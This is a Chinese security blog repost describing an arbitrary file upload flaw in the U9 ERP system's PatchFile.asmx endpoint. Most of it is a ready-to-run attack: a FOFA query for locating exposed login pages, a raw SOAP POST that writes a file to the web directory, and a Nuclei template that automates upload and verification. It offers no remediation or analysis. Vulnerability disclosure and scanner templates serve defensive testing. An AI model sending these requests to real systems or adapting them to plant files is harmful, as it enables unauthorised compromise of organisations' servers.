U9 PatchFile文件上传

admin 2024年1月30日07:51:07评论10 views字数 2485阅读8分17秒阅读模式

一、免责声明:


      本次文章仅限个人学习使用,如有非法用途均与作者无关,且行且珍惜;由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除整改并向您致以歉意。谢谢!

二、产品介绍:


U9 PatchFile文件上传

三、资产梳理:


fofa:title="U9-登录"

四、漏洞复现:

U9 PatchFile文件上传

五、POC:


POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1Host: targetCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4nConnection: closeContent-Type: text/xml; charset=utf-8Content-Length: 433
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  <soap:Body>    <SaveFile xmlns="http://tempuri.org/">      <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>      <path>./</path>      <fileName>10086.txt</fileName>    </SaveFile>  </soap:Body></soap:Envelope>

nuclei:

id: U9_files_uploadinfo:  name: U9_files_upload  author: joyboy  severity: critical  description: U9_files_upload  metadata:    max-request: 1    fofa-query: title="U9-登录"    verified: true  tags: uploadFile
requests:  - raw:      - |-        POST /CS/Office/AutoUpdates/PatchFile.asmx HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36        Cookie: .ASPXANONYMOUS=1OJZqnZ03AEkAAAAZGQ2ZDU0NzYtMDdiZS00YWJhLTk2ZTMtNmRhYTgxNDM5OTNi0; ASP.NET_SessionId=md4bw5fgleu1cxfdwk4w0o4n        Connection: close        Content-Type: text/xml; charset=utf-8        Content-Length: 433
        <?xml version="1.0" encoding="utf-8"?>        <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">          <soap:Body>            <SaveFile xmlns="http://tempuri.org/">              <binData>VXBsb2FkLXN1Y2Nlc3NmdWxseQ==</binData>              <path>./</path>              <fileName>10086.txt</fileName>            </SaveFile>          </soap:Body>        </soap:Envelope>      - |+        GET /CS/Office/AutoUpdates/10086.txt HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
    req-condition: true    matchers:      - type: dsl        condition: and        dsl:          - 'contains((body_2), "Upload-successfully") && status_code_2 == 200' 

U9 PatchFile文件上传

 

原文始发于微信公众号(fly的渗透学习笔记):U9 PatchFile文件上传

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月30日07:51:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   U9 PatchFile文件上传https://cn-sec.com/archives/2445671.html

发表评论

匿名网友 填写信息